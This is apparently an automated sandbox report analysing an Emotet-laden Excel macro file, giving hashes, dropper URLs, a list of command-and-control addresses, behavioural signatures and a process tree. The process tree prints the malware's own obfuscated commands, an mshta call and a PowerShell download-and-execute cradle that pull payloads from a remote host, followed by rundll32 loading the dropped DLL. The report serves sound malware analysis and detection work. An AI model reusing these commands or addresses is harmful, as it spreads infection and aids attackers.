Analysis

  • max time kernel
    132s
  • max time network
    144s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18-01-2022 21:51

General

  • Target

    QHB_677187.xlsm

  • Size

    112KB

  • MD5

    2f00a54638c5af4aa67c03f1d7ec12d0

  • SHA1

    23994a8656707b655417077ca79294dd5a82cf36

  • SHA256

    a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12

  • SHA512

    c50ae050b50fb210c640cdd014a211f1eae5b35ba25d2728f9bb6e726ca81b459e0d593a75bf7e20d5717c008d3b004da83f63a59e0ce1cdad4a826c59070220

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\QHB_677187.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1568
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:700
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://92.255.57.195/ru/ru.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1468
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1312
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1260
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:828
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:968
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khzrcxpklhjn\jsdakkkoohujcrr.hqd",MqGp
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1436
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khzrcxpklhjn\jsdakkkoohujcrr.hqd",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:360

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/360-95-0x0000000000800000-0x0000000000828000-memory.dmp

    Filesize

    160KB

  • memory/360-93-0x0000000000760000-0x0000000000788000-memory.dmp

    Filesize

    160KB

  • memory/360-111-0x0000000002C40000-0x0000000002C68000-memory.dmp

    Filesize

    160KB

  • memory/360-109-0x0000000002B80000-0x0000000002BA8000-memory.dmp

    Filesize

    160KB

  • memory/360-105-0x00000000027E0000-0x0000000002808000-memory.dmp

    Filesize

    160KB

  • memory/360-103-0x0000000002730000-0x0000000002758000-memory.dmp

    Filesize

    160KB

  • memory/360-101-0x00000000025B0000-0x00000000025D8000-memory.dmp

    Filesize

    160KB

  • memory/360-99-0x0000000002550000-0x0000000002578000-memory.dmp

    Filesize

    160KB

  • memory/360-97-0x0000000000900000-0x0000000000928000-memory.dmp

    Filesize

    160KB

  • memory/968-85-0x00000000027D0000-0x00000000027F8000-memory.dmp

    Filesize

    160KB

  • memory/968-79-0x0000000000570000-0x0000000000598000-memory.dmp

    Filesize

    160KB

  • memory/968-77-0x0000000000360000-0x0000000000388000-memory.dmp

    Filesize

    160KB

  • memory/968-83-0x0000000002540000-0x0000000002568000-memory.dmp

    Filesize

    160KB

  • memory/968-88-0x00000000028D0000-0x00000000028F8000-memory.dmp

    Filesize

    160KB

  • memory/968-81-0x0000000000C20000-0x0000000000C48000-memory.dmp

    Filesize

    160KB

  • memory/1312-61-0x00000000023B2000-0x00000000023B4000-memory.dmp

    Filesize

    8KB

  • memory/1312-60-0x00000000023B1000-0x00000000023B2000-memory.dmp

    Filesize

    4KB

  • memory/1312-59-0x00000000023B0000-0x00000000023B1000-memory.dmp

    Filesize

    4KB

  • memory/1436-89-0x0000000000790000-0x00000000007B8000-memory.dmp

    Filesize

    160KB

  • memory/1568-53-0x000000002FB41000-0x000000002FB44000-memory.dmp

    Filesize

    12KB

  • memory/1568-54-0x0000000071C91000-0x0000000071C93000-memory.dmp

    Filesize

    8KB

  • memory/1568-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1568-56-0x0000000075D11000-0x0000000075D13000-memory.dmp

    Filesize

    8KB

  • memory/1568-113-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB